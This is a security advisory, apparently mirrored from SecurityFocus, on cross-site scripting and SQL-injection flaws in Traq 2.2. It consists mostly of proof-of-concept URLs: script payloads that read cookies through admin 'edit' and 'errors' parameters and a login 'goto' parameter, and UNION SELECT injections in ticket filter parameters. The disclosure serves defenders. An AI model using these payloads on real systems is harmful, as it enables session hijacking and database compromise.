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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/49835/info

Traq is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Traq 2.2 is vulnerable; prior versions may also be affected.

1) Multiple cross-site scripting vulnerabilities that affect the 'edit' parameter of the following scripts:

http://www.example.com/admincp/components.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admincp/ticket_templates.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admincp/custom_fields.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admincp/groups.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

2) Multiple cross-site scripting vulnerabilities that affect the 'errors' parameter of the following scripts:

http://www.example.com/admincp/components.php?edit&error&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/sc ript%3E
http://www.example.com/admincp/groups.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admincp/milestones.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admincp/plugins.php?create&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admincp/projects.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admincp/repositories.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admincp/users.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

3) A cross-site scripting vulnerability affects the 'goto' parameter of the 'user/login' script:

http://www.example.com/user/login?goto=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

4) Multiple SQL-injection vulnerability affects the 'sort', 'order', 'component', 'milestone', 'priority', 'severity', 'status', 'type', 'version' parameters of the 'tickets' scripts:

http://www.example.com/[PROJECT_ID]/tickets?sort=SQL_CODE_HERE
http://www.example.com/[PROJECT_ID]/tickets?order=SQL_CODE_HERE
http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&component=1%29/**/union/**/select/**/1,version%28%29,3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&milestone=1%29/**/union/**/select/**/1,version%28%29,3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&priority=1%29/**/union/**/select/**/1,version%28%29,3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&severity=1%29/**/union/**/select/**/1,version%28%29,3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&status=1%29/**/union/**/select/**/1,version%28%29,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&type=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&version=1%29/**/union/**/select/**/1,version%28%29,3,4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281